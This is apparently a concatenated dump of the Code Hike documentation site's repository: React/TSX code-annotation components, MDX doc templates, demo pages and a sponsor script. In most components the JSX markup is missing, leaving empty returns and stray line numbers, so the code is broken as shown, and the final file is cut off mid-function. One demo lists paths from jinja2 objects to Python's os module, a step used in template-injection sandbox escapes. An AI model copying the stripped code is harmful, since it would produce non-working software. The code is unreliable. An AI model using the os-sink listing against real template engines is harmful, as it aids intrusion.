29 | ```js !
30 | function lorem(ipsum, dolor = 1) {
31 |   const sit = ipsum == null ? 0 : 1
32 |   dolor = sit - amet(dolor)
33 |   if (dolor) {
34 |     dolor += 100
35 |   }
36 |   return sit ? consectetur(ipsum) : []
37 | }
38 | ```
39 | 


--------------------------------------------------------------------------------
/ui/dependency-terminal.tsx:
--------------------------------------------------------------------------------
 1 | import { CopyButton } from "@/components/copy-button"
 2 | import { TerminalSquare } from "lucide-react"
 3 | import { TabsContent, TabsList, TabsToggle } from "./tabs-toggle"
 4 | import { RawCode, Pre, highlight } from "codehike/code"
 5 | 
 6 | async function Code({ codeblock }: { codeblock: RawCode }) {
 7 |   const info = await highlight(codeblock, "github-dark")
 8 |   return 
 9 | }
10 | 
11 | export function DependencyTerminal({ codeblock }: { codeblock: RawCode }) {
12 |   const options = ["npm install", "yarn add", "pnpm install"].map(
13 |     (command) => ({
14 |       name: command.split(" ")[0],
15 |       content: (
16 |         
23 |       ),
24 |     }),
25 |   )
26 | 
27 |   return (
28 |     
32 |       
33 | 34 | Terminal 35 | 36 | 37 | 38 |
39 | 40 | 41 |
42 | ) 43 | } 44 | -------------------------------------------------------------------------------- /components/ui/tooltip.tsx: -------------------------------------------------------------------------------- 1 | "use client" 2 | 3 | import * as React from "react" 4 | import * as TooltipPrimitive from "@radix-ui/react-tooltip" 5 | 6 | import { cn } from "@/lib/utils" 7 | 8 | const TooltipProvider = TooltipPrimitive.Provider 9 | 10 | const Tooltip = TooltipPrimitive.Root 11 | 12 | const TooltipTrigger = TooltipPrimitive.Trigger 13 | 14 | const TooltipArrow = TooltipPrimitive.Arrow 15 | 16 | const TooltipContent = React.forwardRef< 17 | React.ElementRef, 18 | React.ComponentPropsWithoutRef 19 | >(({ className, sideOffset = 4, ...props }, ref) => ( 20 | 29 | )) 30 | TooltipContent.displayName = TooltipPrimitive.Content.displayName 31 | 32 | export { 33 | Tooltip, 34 | TooltipTrigger, 35 | TooltipContent, 36 | TooltipProvider, 37 | TooltipArrow, 38 | } 39 | -------------------------------------------------------------------------------- /components/code/code-with-notes.tsx: -------------------------------------------------------------------------------- 1 | import { highlight } from "codehike/code" 2 | import { Block, CodeBlock, ImageBlock, parseProps } from "codehike/blocks" 3 | import { z } from "zod" 4 | import theme from "@/theme.mjs" 5 | import { HighCode } from "../code" 6 | 7 | const ContentSchema = z.object({ 8 | code: CodeBlock, 9 | notes: z 10 | .array( 11 | Block.extend({ 12 | code: CodeBlock.optional(), 13 | }), 14 | ) 15 | .optional(), 16 | }) 17 | 18 | export async function CodeWithNotes(props: unknown) { 19 | const { code, notes = [] } = parseProps(props, ContentSchema) 20 | const highlighted = await highlight(code, theme) 21 | 22 | // find matches between annotations and notes 23 | // and add the note as data to the annotation 24 | highlighted.annotations = await Promise.all( 25 | highlighted.annotations.map(async (a) => { 26 | const note = notes.find((n) => a.query && n.title === a.query) 27 | if (!note) return a 28 | 29 | let children = note.children 30 | if (note.code) { 31 | const highlighted = await highlight(note.code, theme) 32 | children = ( 33 | 34 | ) 35 | } 36 | 37 | return { 38 | ...a, 39 | data: { 40 | ...a.data, 41 | children, 42 | }, 43 | } 44 | }), 45 | ) 46 | 47 | return 48 | } 49 | -------------------------------------------------------------------------------- /app/landing/sponsors/update.js: -------------------------------------------------------------------------------- 1 | const fs = require("fs") 2 | const path = require("path") 3 | 4 | const getOpenCollectiveSponsors = require("./oc-sponsors.js") 5 | const fetchGitHubSponsors = require("./gh-sponsors.js") 6 | 7 | const ignore = ["outerbounds", "github-sponsors", "guest-fbd7c737"] 8 | const replace = { 9 | speakeasybot: "speakeasy-api", 10 | ndimares: "speakeasy-api", 11 | hamelsmu: "outerbounds", 12 | "severin-ibarluzea": "seveibar", 13 | fbopensource: "facebook", 14 | } 15 | const others = [ 16 | // from paypal 17 | { name: "matthiaszepper", amount: Math.round(94.3 + 108.71 + 47) }, 18 | // missing from gh api 19 | { name: "github", amount: 20550 }, 20 | ] 21 | 22 | Promise.all([getOpenCollectiveSponsors(), fetchGitHubSponsors()]).then( 23 | ([ocSponsors, ghSponsors]) => { 24 | const all = [...ocSponsors, ...ghSponsors, ...others] 25 | .filter((s) => !ignore.includes(s.name)) 26 | .map((s) => ({ name: replace[s.name] || s.name, amount: s.amount })) 27 | 28 | const sponsors = [] 29 | all.forEach((s) => { 30 | const index = sponsors.findIndex((sp) => sp.name === s.name) 31 | if (index === -1) { 32 | sponsors.push(s) 33 | } else { 34 | sponsors[index].amount += s.amount 35 | } 36 | }) 37 | 38 | sponsors.sort((a, b) => b.amount - a.amount) 39 | 40 | console.table(sponsors) 41 | fs.writeFileSync( 42 | path.join(__dirname, "../sponsors.json"), 43 | JSON.stringify(sponsors, null, 2), 44 | ) 45 | }, 46 | ) 47 | -------------------------------------------------------------------------------- /demos/hover/page.tsx: -------------------------------------------------------------------------------- 1 | import { 2 | AnnotationHandler, 3 | InnerLine, 4 | Pre, 5 | RawCode, 6 | highlight, 7 | } from "codehike/code" 8 | import Content from "./content.mdx" 9 | import "./styles.css" 10 | 11 | import React from "react" 12 | 13 | export default function Page() { 14 | return 15 | } 16 | 17 | function HoverContainer(props: { children: React.ReactNode }) { 18 | return ( 19 |
20 | {props.children} 21 |
22 | ) 23 | } 24 | 25 | function Link(props: { href?: string; children?: React.ReactNode }) { 26 | if (props.href?.startsWith("hover:")) { 27 | const hover = props.href.slice("hover:".length) 28 | return ( 29 | 33 | {props.children} 34 | 35 | ) 36 | } else { 37 | return 38 | } 39 | } 40 | 41 | async function Code({ codeblock }: { codeblock: RawCode }) { 42 | const highlighted = await highlight(codeblock, "github-dark") 43 | return
44 | }
45 | 
46 | const hover: AnnotationHandler = {
47 |   name: "hover",
48 |   onlyIfAnnotated: true,
49 |   Line: ({ annotation, ...props }) => (
50 |     
55 |   ),
56 | }
57 | 


--------------------------------------------------------------------------------
/demos/focus/focus.client.tsx:
--------------------------------------------------------------------------------
 1 | "use client"
 2 | 
 3 | import React, { useLayoutEffect, useRef } from "react"
 4 | import { AnnotationHandler, InnerPre, getPreRef } from "codehike/code"
 5 | 
 6 | export const PreWithFocus: AnnotationHandler["PreWithRef"] = (props) => {
 7 |   const ref = getPreRef(props)
 8 |   useScrollToFocus(ref)
 9 |   return 
10 | }
11 | 
12 | function useScrollToFocus(ref: React.RefObject) {
13 |   const firstRender = useRef(true)
14 |   useLayoutEffect(() => {
15 |     if (ref.current) {
16 |       // find all descendants whith data-focus="true"
17 |       const focusedElements = ref.current.querySelectorAll(
18 |         "[data-focus=true]",
19 |       ) as NodeListOf
20 | 
21 |       // find top and bottom of the focused elements
22 |       const containerRect = ref.current.getBoundingClientRect()
23 |       let top = Infinity
24 |       let bottom = -Infinity
25 |       focusedElements.forEach((el) => {
26 |         const rect = el.getBoundingClientRect()
27 |         top = Math.min(top, rect.top - containerRect.top)
28 |         bottom = Math.max(bottom, rect.bottom - containerRect.top)
29 |       })
30 | 
31 |       // scroll to the focused elements if any part of them is not visible
32 |       if (bottom > containerRect.height || top < 0) {
33 |         ref.current.scrollTo({
34 |           top: ref.current.scrollTop + top - 10,
35 |           behavior: firstRender.current ? "instant" : "smooth",
36 |         })
37 |       }
38 |       firstRender.current = false
39 |     }
40 |   })
41 | }
42 | 


--------------------------------------------------------------------------------
/components/annotations/focus.client.tsx:
--------------------------------------------------------------------------------
 1 | "use client"
 2 | 
 3 | import { CustomPreProps, InnerPre, getPreRef } from "codehike/code"
 4 | import { useLayoutEffect, useRef } from "react"
 5 | 
 6 | export function PreWithRef(props: CustomPreProps) {
 7 |   const ref = getPreRef(props)
 8 |   useScrollToFocus(ref)
 9 |   return 
10 | }
11 | 
12 | function useScrollToFocus(ref: React.RefObject) {
13 |   const firstRender = useRef(true)
14 |   useLayoutEffect(() => {
15 |     if (ref.current) {
16 |       // find all descendants whith data-focus="true"
17 |       const focusedElements = ref.current.querySelectorAll(
18 |         "[data-focus=true]",
19 |       ) as NodeListOf
20 | 
21 |       // container rect
22 |       const containerRect = ref.current.getBoundingClientRect()
23 | 
24 |       // find top and bottom of the focused elements
25 |       let top = Infinity
26 |       let bottom = -Infinity
27 |       focusedElements.forEach((el) => {
28 |         const rect = el.getBoundingClientRect()
29 |         top = Math.min(top, rect.top - containerRect.top)
30 |         bottom = Math.max(bottom, rect.bottom - containerRect.top)
31 |       })
32 | 
33 |       // scroll to the focused elements if any part of them is not visible
34 |       if (bottom > containerRect.height || top < 0) {
35 |         ref.current.scrollTo({
36 |           top: ref.current.scrollTop + top - 10,
37 |           behavior: firstRender.current ? "instant" : "smooth",
38 |         })
39 |       }
40 |       firstRender.current = false
41 |     }
42 |   })
43 | }
44 | 


--------------------------------------------------------------------------------
/demos/mark/page.tsx:
--------------------------------------------------------------------------------
 1 | import {
 2 |   RawCode,
 3 |   Pre,
 4 |   highlight,
 5 |   AnnotationHandler,
 6 |   InnerLine,
 7 | } from "codehike/code"
 8 | import Content from "./content.md"
 9 | 
10 | export default function Page() {
11 |   return 
12 | }
13 | 
14 | const mark: AnnotationHandler = {
15 |   name: "mark",
16 |   Line: ({ annotation, ...props }) => {
17 |     const color = annotation?.query || "rgb(14 165 233)"
18 |     return (
19 |       
27 | 28 |
29 | ) 30 | }, 31 | Inline: ({ annotation, children }) => { 32 | const color = annotation?.query || "rgb(14 165 233)" 33 | return ( 34 | 41 | {children} 42 | 43 | ) 44 | }, 45 | } 46 | 47 | async function Code({ codeblock }: { codeblock: RawCode }) { 48 | const highlighted = await highlight(codeblock, "github-dark") 49 | return ( 50 |
55 |   )
56 | }
57 | 


--------------------------------------------------------------------------------
/content/blog/remotion/03.jsx:
--------------------------------------------------------------------------------
 1 | import Content from "./content.md"
 2 | 
 3 | const Schema = Block.extend({
 4 |   steps: z.array(
 5 |     Block.extend({
 6 |       code: HighlightedCodeBlock,
 7 |     }),
 8 |   ),
 9 | })
10 | const { steps } = parseRoot(
11 |   Content,
12 |   Schema,
13 | )
14 | 
15 | const STEP_FRAMES = 60
16 | function Video({ steps }) {
17 |   return (
18 |     
24 |       {steps.map((step, i) => (
25 |         
31 |           
32 |         
33 |       ))}
34 |     
35 |   )
36 | }
37 | 
38 | // !focus(1:17)
39 | // !mark(1:17)
40 | function Code({ code }) {
41 |   return (
42 |     
43 |   )
44 | }
45 | 
46 | const mark = {
47 |   name: "mark",
48 |   Block: ({ children }) => {
49 |     const background = "#F2CC6044"
50 |     return (
51 |       
52 | {children} 53 |
54 | ) 55 | }, 56 | } 57 | 58 | export function RemotionRoot() { 59 | return ( 60 | 71 | ) 72 | } 73 | -------------------------------------------------------------------------------- /demos/language-switcher/multi-code.tsx: -------------------------------------------------------------------------------- 1 | "use client" 2 | 3 | import { HighlightedCode, Pre, RawCode, highlight } from "codehike/code" 4 | 5 | import { useState } from "react" 6 | import { 7 | Select, 8 | SelectContent, 9 | SelectItem, 10 | SelectTrigger, 11 | SelectValue, 12 | } from "@/components/ui/select" 13 | import { tokenTransitions } from "@/components/annotations/token-transitions" 14 | 15 | export function Code({ highlighted }: { highlighted: HighlightedCode[] }) { 16 | const [selectedLang, setSelectedLang] = useState(highlighted[0].lang) 17 | const selectedCode = highlighted.find((code) => code.lang === selectedLang)! 18 | 19 | return ( 20 |
21 |
26 |       
27 | 43 |
44 |
45 | ) 46 | } 47 | -------------------------------------------------------------------------------- /demos/python-cheat-sheet/finding-sinks-from-modules-object-walker/content.md: -------------------------------------------------------------------------------- 1 | ```py -cwn 2 | $ objectwalker -m jinja2 --filter-module os --max-depth 15 3 | [FilterTypeIsModule] [module=os] [module_type=package] | jinja2.bccache.os 4 | [FilterTypeIsModule] [module=os] [module_type=package] | jinja2.environment.os 5 | [FilterTypeIsModule] [module=os] [module_type=package] | jinja2.loaders.os 6 | [FilterTypeIsModule] [module=os] [module_type=package] | jinja2.utils.os 7 | [FilterTypeIsModule] [module=os] [module_type=package] | jinja2.async_utils.inspect.os 8 | [FilterTypeIsModule] [module=os] [module_type=package] | jinja2.bccache.fnmatch.os 9 | [FilterTypeIsModule] [module=os] [module_type=package] | jinja2.bccache.tempfile._os 10 | [FilterTypeIsModule] [module=os] [module_type=package] | jinja2.clear_caches.__globals__["os"] 11 | [FilterTypeIsModule] [module=os] [module_type=package] | jinja2.filters.random._os 12 | [FilterTypeIsModule] [module=os] [module_type=package] | jinja2.is_undefined.__globals__["os"] 13 | [FilterTypeIsModule] [module=os] [module_type=package] | jinja2.loaders.posixpath.os 14 | [FilterTypeIsModule] [module=os] [module_type=package] | jinja2.nodes.inspect.os 15 | [FilterTypeIsModule] [module=os] [module_type=package] | jinja2.pass_context.__globals__["os"] 16 | [FilterTypeIsModule] [module=os] [module_type=package] | jinja2.pass_environment.__globals__["os"] 17 | [FilterTypeIsModule] [module=os] [module_type=package] | jinja2.pass_eval_context.__globals__["os"] 18 | [FilterTypeIsModule] [module=os] [module_type=package] | jinja2.select_autoescape.__globals__["os"] 19 | ``` -------------------------------------------------------------------------------- /content/docs/TEMPLATES/diff.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: Diff 3 | description: Diff 4 | layout: PreviewAndImplementation 5 | --- 6 | 7 | ## !demo 8 | 9 | Show inserted and deleted lines. 10 | 11 | 12 | 13 | ## !implementation 14 | 15 | There are two parts: 16 | 17 | - for the `+` and `-` icons, we customize the `Line` and prepend the `annotation.query` 18 | - for the border and color we use the `transform` function to add `mark` annotations and use the `AnnotationHandler` from the [mark example](/docs/code/mark) 19 | 20 | ```tsx diff.tsx -c 21 | import { AnnotationHandler, InnerLine, BlockAnnotation } from "codehike/code" 22 | // !fold[/className="(.*?)"/gm] 23 | 24 | export const diff: AnnotationHandler = { 25 | name: "diff", 26 | onlyIfAnnotated: true, 27 | transform: (annotation: BlockAnnotation) => { 28 | const color = annotation.query == "-" ? "#f85149" : "#3fb950" 29 | return [annotation, { ...annotation, name: "mark", query: color }] 30 | }, 31 | Line: ({ annotation, ...props }) => ( 32 | <> 33 |
34 | {annotation?.query} 35 |
36 | 37 | 38 | ), 39 | } 40 | ``` 41 | 42 | Then pass the `mark` and `diff` handlers to the `Pre` component: 43 | 44 | ```tsx code.tsx -c 45 | import { diff } from "./diff" 46 | import { mark } from "./mark" 47 | 48 | async function Code({ codeblock }: { codeblock: RawCode }) { 49 | const highlighted = await highlight(codeblock, "github-dark") 50 | return
51 | }
52 | ```
53 | 


--------------------------------------------------------------------------------
/content/docs/TEMPLATES/word-wrap.mdx:
--------------------------------------------------------------------------------
 1 | ---
 2 | title: Word Wrap
 3 | description: Word wrap
 4 | layout: PreviewAndImplementation
 5 | ---
 6 | 
 7 | ## !demo
 8 | 
 9 | Wrap lines to avoid horizontal overflow.
10 | 
11 | Drag the right handle to resize the width
12 | 
13 | ## !implementation
14 | 
15 | The easy way to make the code wrap is to style the `
` component with `white-space: pre-wrap;`. But, when wrapping code, it's better to wrap the lines at the same indentation level. To do this, we can adjust the `text-indent` of each line:
16 | 
17 | ```tsx word-wrap.tsx -c
18 | import {
19 |   AnnotationHandler,
20 |   InnerLine,
21 |   InnerPre,
22 |   InnerToken,
23 | } from "codehike/code"
24 | 
25 | export const wordWrap: AnnotationHandler = {
26 |   name: "word-wrap",
27 |   Pre: (props) => ,
28 |   Line: (props) => (
29 |     
30 |       
36 | {props.children} 37 |
38 |
39 | ), 40 | Token: (props) => , 41 | } 42 | ``` 43 | 44 | Pass it to the `handlers` prop of the `Pre` component: 45 | 46 | ```tsx code.tsx -c 47 | import { wordWrap } from "./word-wrap" 48 | 49 | async function Code({ codeblock }: { codeblock: RawCode }) { 50 | const highlighted = await highlight(codeblock, "github-dark") 51 | return
52 | }
53 | ```
54 | 


--------------------------------------------------------------------------------
/components/annotations/token-transitions.client.tsx:
--------------------------------------------------------------------------------
 1 | "use client"
 2 | 
 3 | import { CustomPreProps, InnerPre, getPreRef } from "codehike/code"
 4 | import {
 5 |   TokenTransitionsSnapshot,
 6 |   calculateTransitions,
 7 |   getStartingSnapshot,
 8 | } from "codehike/utils/token-transitions"
 9 | import React from "react"
10 | 
11 | const MAX_TRANSITION_DURATION = 900 // milliseconds
12 | export class PreWithRef extends React.Component {
13 |   ref: React.RefObject
14 |   constructor(props: CustomPreProps) {
15 |     super(props)
16 |     this.ref = getPreRef(this.props)
17 |   }
18 | 
19 |   render() {
20 |     return 
21 |   }
22 | 
23 |   getSnapshotBeforeUpdate() {
24 |     return getStartingSnapshot(this.ref.current!)
25 |   }
26 | 
27 |   componentDidUpdate(
28 |     prevProps: never,
29 |     prevState: never,
30 |     snapshot: TokenTransitionsSnapshot,
31 |   ) {
32 |     const transitions = calculateTransitions(this.ref.current!, snapshot)
33 |     transitions.forEach(({ element, keyframes, options }) => {
34 |       const { translateX, translateY, ...kf } = keyframes as any
35 |       if (translateX && translateY) {
36 |         kf.translate = [
37 |           `${translateX[0]}px ${translateY[0]}px`,
38 |           `${translateX[1]}px ${translateY[1]}px`,
39 |         ]
40 |       }
41 |       element.animate(kf, {
42 |         duration: options.duration * MAX_TRANSITION_DURATION,
43 |         delay: options.delay * MAX_TRANSITION_DURATION,
44 |         easing: options.easing,
45 |         fill: "both",
46 |       })
47 |     })
48 |   }
49 | }
50 | 


--------------------------------------------------------------------------------
/content/docs/TEMPLATES/copy-button.mdx:
--------------------------------------------------------------------------------
 1 | ---
 2 | title: Copy Button
 3 | description: Copy Button
 4 | layout: PreviewAndImplementation
 5 | ---
 6 | 
 7 | ## !demo
 8 | 
 9 | Add a copy button to a code block.
10 | 
11 | 
12 | 
13 | ## !implementation
14 | 
15 | First we make the button component:
16 | 
17 | ```tsx button.tsx -c
18 | "use client"
19 | 
20 | import { Copy, Check } from "lucide-react"
21 | import { useState } from "react"
22 | 
23 | // !fold[/className="(.*?)"/gm]
24 | export function CopyButton({ text }: { text: string }) {
25 |   const [copied, setCopied] = useState(false)
26 | 
27 |   return (
28 |     
39 |   )
40 | }
41 | ```
42 | 
43 | And then we use it when rendering the code block:
44 | 
45 | ```tsx code.tsx -c
46 | import { Pre, RawCode, highlight } from "codehike/code"
47 | import { CopyButton } from "./button"
48 | 
49 | // !fold[/className="(.*?)"/gm]
50 | async function Code({ codeblock }: { codeblock: RawCode }) {
51 |   const highlighted = await highlight(codeblock, "github-dark")
52 | 
53 |   return (
54 |     
55 | 56 |
57 |     
58 | ) 59 | } 60 | ``` 61 | -------------------------------------------------------------------------------- /content/components/slideshow/slides.tsx: -------------------------------------------------------------------------------- 1 | "use client" 2 | import * as React from "react" 3 | 4 | const StepIndexContext = React.createContext< 5 | [number, React.Dispatch>] 6 | >([0, () => {}]) 7 | 8 | export function Slides({ 9 | slides, 10 | }: { 11 | slides: React.ReactNode[] 12 | }) { 13 | const [selectedIndex, setSelectedIndex] = 14 | React.useState(0) 15 | 16 | return ( 17 | 20 | {slides[selectedIndex]} 21 | 22 | ) 23 | } 24 | 25 | export function Controls({ length }: { length: number }) { 26 | const [selectedIndex, setSelectedIndex] = 27 | React.useContext(StepIndexContext) 28 | 29 | return ( 30 |
31 | 39 | {[...Array(length)].map((_, i) => ( 40 | 58 |
59 | ) 60 | } 61 | -------------------------------------------------------------------------------- /app/test/content.md: -------------------------------------------------------------------------------- 1 | ## The mother of all codeblocks 2 | 3 | ```js foo.js -awnc 4 | // !collapse(1:4) 5 | function lorem(ipsum, dolor = 1) { 6 | const sit = ipsum == null ? 0 : ipsum.sit 7 | // !mark(1:2) 8 | dolor = sit - amet(dolor) 9 | // !callout[/sit/] lorem ipsum dolor sit 10 | return sit ? consectetur(ipsum) : [] 11 | } 12 | 13 | // !collapse(1:4) collapsed 14 | function ipsum(ipsum, dolor = 1) { 15 | const sit = ipsum == null ? 0 : ipsum.sit 16 | // !mark(1:2) 17 | dolor = sit - amet(dolor) 18 | return sit ? consectetur(ipsum) : [] 19 | } 20 | ``` 21 | 22 | ```js foo.js -anc 23 | // !collapse(1:4) 24 | function lorem(ipsum, dolor = 1) { 25 | const sit = ipsum == null ? 0 : ipsum.sit 26 | // !mark(1:2) 27 | dolor = sit - amet(dolor) 28 | // !callout[/sit/] lorem ipsum dolor sit 29 | return sit ? consectetur(ipsum) : [] 30 | } 31 | 32 | // !collapse(1:4) collapsed 33 | function ipsum(ipsum, dolor = 1) { 34 | const sit = ipsum == null ? 0 : ipsum.sit 35 | // !mark(1:2) 36 | dolor = sit - amet(dolor) 37 | return sit ? consectetur(ipsum) : [] 38 | } 39 | ``` 40 | 41 | ```js -c 42 | function lorem(ipsum, dolor = 1) { 43 | const sit = ipsum == null ? 0 : ipsum.sit 44 | // !mark(1:2) 45 | dolor = sit - amet(dolor) 46 | // !callout[/sit/] lorem ipsum dolor sit 47 | return sit ? consectetur(ipsum) : [] 48 | } 49 | 50 | function ipsum(ipsum, dolor = 1) { 51 | const sit = ipsum == null ? 0 : ipsum.sit 52 | // !mark(1:2) 53 | dolor = sit - amet(dolor) 54 | return sit ? consectetur(ipsum) : [] 55 | } 56 | ``` 57 | 58 | ```bash -c 59 | npx create-next-app -e https://github.com/code-hike/v1-starter 60 | ``` 61 | -------------------------------------------------------------------------------- /ui/tabs-toggle.tsx: -------------------------------------------------------------------------------- 1 | "use client" 2 | import { ToggleGroup, ToggleGroupItem } from "./toggle-group" 3 | 4 | import React from "react" 5 | 6 | const TabsContext = React.createContext({ 7 | selectedIndex: 0, 8 | setSelectedIndex: () => {}, 9 | options: [], 10 | }) 11 | 12 | export function TabsToggle({ children, className, options }: any) { 13 | const [selectedIndex, setSelectedIndex] = React.useState(0) 14 | return ( 15 | 16 |
{children}
17 |
18 | ) 19 | } 20 | 21 | export function TabsList({ className }: any) { 22 | const { selectedIndex, setSelectedIndex, options } = 23 | React.useContext(TabsContext) 24 | return ( 25 | { 30 | console.log(value) 31 | setSelectedIndex(Number(value)) 32 | }} 33 | value={String(selectedIndex)} 34 | > 35 | {options.map((option: any, i: number) => ( 36 | 42 | {option.name} 43 | 44 | ))} 45 | 46 | ) 47 | } 48 | 49 | export function TabsContent({ className }: any) { 50 | const { selectedIndex, options } = React.useContext(TabsContext) 51 | const option = options[selectedIndex] 52 | return
{option.content}
53 | } 54 | -------------------------------------------------------------------------------- /components/annotations/callout.tsx: -------------------------------------------------------------------------------- 1 | import { AnnotationHandler, InlineAnnotation, InnerLine } from "codehike/code" 2 | 3 | export const callout: AnnotationHandler = { 4 | name: "callout", 5 | transform: (annotation: InlineAnnotation) => { 6 | // transform inline annotation to block annotation 7 | const { name, query, lineNumber, fromColumn, toColumn } = annotation 8 | return { 9 | name, 10 | query, 11 | fromLineNumber: lineNumber, 12 | toLineNumber: lineNumber, 13 | data: { 14 | ...annotation.data, 15 | column: (fromColumn + toColumn) / 2, 16 | }, 17 | } 18 | }, 19 | AnnotatedLine: ({ annotation, ...props }) => { 20 | const { column } = annotation.data 21 | const { indentation, children } = props 22 | return ( 23 | 24 | {children} 25 |
32 |
36 | {annotation.data.children || ( 37 |
{annotation.query}
38 | )} 39 |
40 | 41 | ) 42 | }, 43 | } 44 | -------------------------------------------------------------------------------- /demos/callout/page.tsx: -------------------------------------------------------------------------------- 1 | import Content from "./content.md" 2 | import { RawCode, Pre, highlight } from "codehike/code" 3 | import { InlineAnnotation, AnnotationHandler } from "codehike/code" 4 | 5 | export default function Page() { 6 | return 7 | } 8 | 9 | export async function Code({ codeblock }: { codeblock: RawCode }) { 10 | const highlighted = await highlight(codeblock, "github-dark") 11 | 12 | return ( 13 |
18 |   )
19 | }
20 | 
21 | const callout: AnnotationHandler = {
22 |   name: "callout",
23 |   transform: (annotation: InlineAnnotation) => {
24 |     const { name, query, lineNumber, fromColumn, toColumn, data } = annotation
25 |     return {
26 |       name,
27 |       query,
28 |       fromLineNumber: lineNumber,
29 |       toLineNumber: lineNumber,
30 |       data: { ...data, column: (fromColumn + toColumn) / 2 },
31 |     }
32 |   },
33 |   Block: ({ annotation, children }) => {
34 |     const { column } = annotation.data
35 |     return (
36 |       <>
37 |         {children}
38 |         
42 |
46 | {annotation.query} 47 |
48 | 49 | ) 50 | }, 51 | } 52 | -------------------------------------------------------------------------------- /demos/c-cheat-sheet/asm-tricks/page.tsx: -------------------------------------------------------------------------------- 1 | import Content from "./content.md" 2 | import { RawCode, Pre, highlight } from "codehike/code" 3 | import { InlineAnnotation, AnnotationHandler } from "codehike/code" 4 | 5 | export default function Page() { 6 | return 7 | } 8 | 9 | export async function Code({ codeblock }: { codeblock: RawCode }) { 10 | const highlighted = await highlight(codeblock, "github-dark") 11 | 12 | return ( 13 |
18 |   )
19 | }
20 | 
21 | const callout: AnnotationHandler = {
22 |   name: "callout",
23 |   transform: (annotation: InlineAnnotation) => {
24 |     const { name, query, lineNumber, fromColumn, toColumn, data } = annotation
25 |     return {
26 |       name,
27 |       query,
28 |       fromLineNumber: lineNumber,
29 |       toLineNumber: lineNumber,
30 |       data: { ...data, column: (fromColumn + toColumn) / 2 },
31 |     }
32 |   },
33 |   Block: ({ annotation, children }) => {
34 |     const { column } = annotation.data
35 |     return (
36 |       <>
37 |         {children}
38 |         
42 |
46 | {annotation.query} 47 |
48 | 49 | ) 50 | }, 51 | } 52 | -------------------------------------------------------------------------------- /demos/c-cheat-sheet/diagraphs/page.tsx: -------------------------------------------------------------------------------- 1 | import Content from "./content.md" 2 | import { RawCode, Pre, highlight } from "codehike/code" 3 | import { InlineAnnotation, AnnotationHandler } from "codehike/code" 4 | 5 | export default function Page() { 6 | return 7 | } 8 | 9 | export async function Code({ codeblock }: { codeblock: RawCode }) { 10 | const highlighted = await highlight(codeblock, "github-dark") 11 | 12 | return ( 13 |
18 |   )
19 | }
20 | 
21 | const callout: AnnotationHandler = {
22 |   name: "callout",
23 |   transform: (annotation: InlineAnnotation) => {
24 |     const { name, query, lineNumber, fromColumn, toColumn, data } = annotation
25 |     return {
26 |       name,
27 |       query,
28 |       fromLineNumber: lineNumber,
29 |       toLineNumber: lineNumber,
30 |       data: { ...data, column: (fromColumn + toColumn) / 2 },
31 |     }
32 |   },
33 |   Block: ({ annotation, children }) => {
34 |     const { column } = annotation.data
35 |     return (
36 |       <>
37 |         {children}
38 |         
42 |
46 | {annotation.query} 47 |
48 | 49 | ) 50 | }, 51 | } 52 | -------------------------------------------------------------------------------- /demos/c-cheat-sheet/good-to-know/page.tsx: -------------------------------------------------------------------------------- 1 | import Content from "./content.md" 2 | import { RawCode, Pre, highlight } from "codehike/code" 3 | import { InlineAnnotation, AnnotationHandler } from "codehike/code" 4 | 5 | export default function Page() { 6 | return 7 | } 8 | 9 | export async function Code({ codeblock }: { codeblock: RawCode }) { 10 | const highlighted = await highlight(codeblock, "github-dark") 11 | 12 | return ( 13 |
18 |   )
19 | }
20 | 
21 | const callout: AnnotationHandler = {
22 |   name: "callout",
23 |   transform: (annotation: InlineAnnotation) => {
24 |     const { name, query, lineNumber, fromColumn, toColumn, data } = annotation
25 |     return {
26 |       name,
27 |       query,
28 |       fromLineNumber: lineNumber,
29 |       toLineNumber: lineNumber,
30 |       data: { ...data, column: (fromColumn + toColumn) / 2 },
31 |     }
32 |   },
33 |   Block: ({ annotation, children }) => {
34 |     const { column } = annotation.data
35 |     return (
36 |       <>
37 |         {children}
38 |         
42 |
46 | {annotation.query} 47 |
48 | 49 | ) 50 | }, 51 | } 52 | -------------------------------------------------------------------------------- /demos/c-cheat-sheet/trigraphs/page.tsx: -------------------------------------------------------------------------------- 1 | import Content from "./content.md" 2 | import { RawCode, Pre, highlight } from "codehike/code" 3 | import { InlineAnnotation, AnnotationHandler } from "codehike/code" 4 | 5 | export default function Page() { 6 | return 7 | } 8 | 9 | export async function Code({ codeblock }: { codeblock: RawCode }) { 10 | const highlighted = await highlight(codeblock, "github-dark") 11 | 12 | return ( 13 |
18 |   )
19 | }
20 | 
21 | const callout: AnnotationHandler = {
22 |   name: "callout",
23 |   transform: (annotation: InlineAnnotation) => {
24 |     const { name, query, lineNumber, fromColumn, toColumn, data } = annotation
25 |     return {
26 |       name,
27 |       query,
28 |       fromLineNumber: lineNumber,
29 |       toLineNumber: lineNumber,
30 |       data: { ...data, column: (fromColumn + toColumn) / 2 },
31 |     }
32 |   },
33 |   Block: ({ annotation, children }) => {
34 |     const { column } = annotation.data
35 |     return (
36 |       <>
37 |         {children}
38 |         
42 |
46 | {annotation.query} 47 |
48 | 49 | ) 50 | }, 51 | } 52 | -------------------------------------------------------------------------------- /app/demo/client.tsx: -------------------------------------------------------------------------------- 1 | "use client" 2 | 3 | import { 4 | AnnotationHandler, 5 | CustomPreProps, 6 | InnerPre, 7 | getPreRef, 8 | } from "codehike/code" 9 | import { forwardRef } from "react" 10 | import React from "react" 11 | import { 12 | TokenTransitionsSnapshot, 13 | calculateTransitions, 14 | getStartingSnapshot, 15 | } from "codehike/utils/token-transitions" 16 | 17 | const MAX_TRANSITION_DURATION = 900 // milliseconds 18 | export class SmoothPre extends React.Component { 19 | ref: React.RefObject 20 | constructor(props: CustomPreProps) { 21 | super(props) 22 | this.ref = getPreRef(this.props) 23 | } 24 | 25 | render() { 26 | return 27 | } 28 | 29 | getSnapshotBeforeUpdate() { 30 | return getStartingSnapshot(this.ref.current!) 31 | } 32 | 33 | componentDidUpdate( 34 | prevProps: never, 35 | prevState: never, 36 | snapshot: TokenTransitionsSnapshot, 37 | ) { 38 | const transitions = calculateTransitions(this.ref.current!, snapshot) 39 | transitions.forEach(({ element, keyframes, options }) => { 40 | const { translateX, translateY, ...kf } = keyframes as any 41 | if (translateX && translateY) { 42 | kf.translate = [ 43 | `${translateX[0]}px ${translateY[0]}px`, 44 | `${translateX[1]}px ${translateY[1]}px`, 45 | ] 46 | } 47 | element.animate(kf, { 48 | duration: options.duration * MAX_TRANSITION_DURATION, 49 | delay: options.delay * MAX_TRANSITION_DURATION, 50 | easing: options.easing, 51 | fill: "both", 52 